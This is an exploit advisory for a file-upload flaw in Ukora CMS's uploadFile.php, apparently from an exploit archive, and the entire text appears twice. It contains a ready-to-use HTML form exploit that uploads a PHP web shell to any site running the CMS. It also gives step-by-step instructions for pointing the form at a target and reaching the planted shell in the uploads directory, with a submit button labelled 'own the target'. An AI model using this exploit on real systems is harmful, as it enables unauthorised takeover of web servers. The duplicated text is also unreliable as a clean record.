##################################################################################################
#Exploit Title : Ukora CMS Shell Upload vulnerability
#Author : Jagriti Sahu AKA incredible
#Vendor : http://ukora.com
#Download Link : https://github.com/baskuis/ukoracms
#version affected : all
#Date : 23/07/2014
#Discovered at : IndiShell Lab
#Love to : Surbhi, Mradula and Harry
##################################################################################################
////////////////////////
/// Overview:
////////////////////////
Ukora CMS is affected from remote file upload vulnerability and
attacker can upload php shell to website easily
///////////////////////////////
// Vulnerability Description:
///////////////////////////////
vulnerability is due to assets/upl/uploadFile.php file in which there
is no check during file upload
attacker need to forward file upload request to this file with PHP
shell and file Extension
///////////////////////
/// exploit code ////
///////////////////////
<div align=center><br><br> --==[[ <font color=red>Discovered at
IndiShell Lab</font> ]]==--<br>
+===========================================+
<br><br>
<form
action="http://www.website.com/assets/upl/uploadFile.php?folder=/uploads&fileext=php"
method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="Filedata" >  
<input type="submit" name="submit" value="own the target >:D<">
</form>
Replace website.com with website name which is using Ukora CMS
save this code on you machine as exploit.html
open exploit.html into webbrowser, brows your php shell and click
submit button
if your shell name is shell.php, your shell will be renamed like this
shell-php.php
shell will be uploaded in uploads directory
http://www.website.com/uploads/shell-php.php
//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. Bot24, Inc nor Bradley Sean Susser accepts
//responsibility for any damage caused by the use or misuse of
//this information
#Exploit Title : Ukora CMS Shell Upload vulnerability
#Author : Jagriti Sahu AKA incredible
#Vendor : http://ukora.com
#Download Link : https://github.com/baskuis/ukoracms
#version affected : all
#Date : 23/07/2014
#Discovered at : IndiShell Lab
#Love to : Surbhi, Mradula and Harry
##################################################################################################
////////////////////////
/// Overview:
////////////////////////
Ukora CMS is affected from remote file upload vulnerability and
attacker can upload php shell to website easily
///////////////////////////////
// Vulnerability Description:
///////////////////////////////
vulnerability is due to assets/upl/uploadFile.php file in which there
is no check during file upload
attacker need to forward file upload request to this file with PHP
shell and file Extension
///////////////////////
/// exploit code ////
///////////////////////
<div align=center><br><br> --==[[ <font color=red>Discovered at
IndiShell Lab</font> ]]==--<br>
+===========================================+
<br><br>
<form
action="http://www.website.com/assets/upl/uploadFile.php?folder=/uploads&fileext=php"
method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="Filedata" >  
<input type="submit" name="submit" value="own the target >:D<">
</form>
Replace website.com with website name which is using Ukora CMS
save this code on you machine as exploit.html
open exploit.html into webbrowser, brows your php shell and click
submit button
if your shell name is shell.php, your shell will be renamed like this
shell-php.php
shell will be uploaded in uploads directory
http://www.website.com/uploads/shell-php.php
//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. Bot24, Inc nor Bradley Sean Susser accepts
//responsibility for any damage caused by the use or misuse of
//this information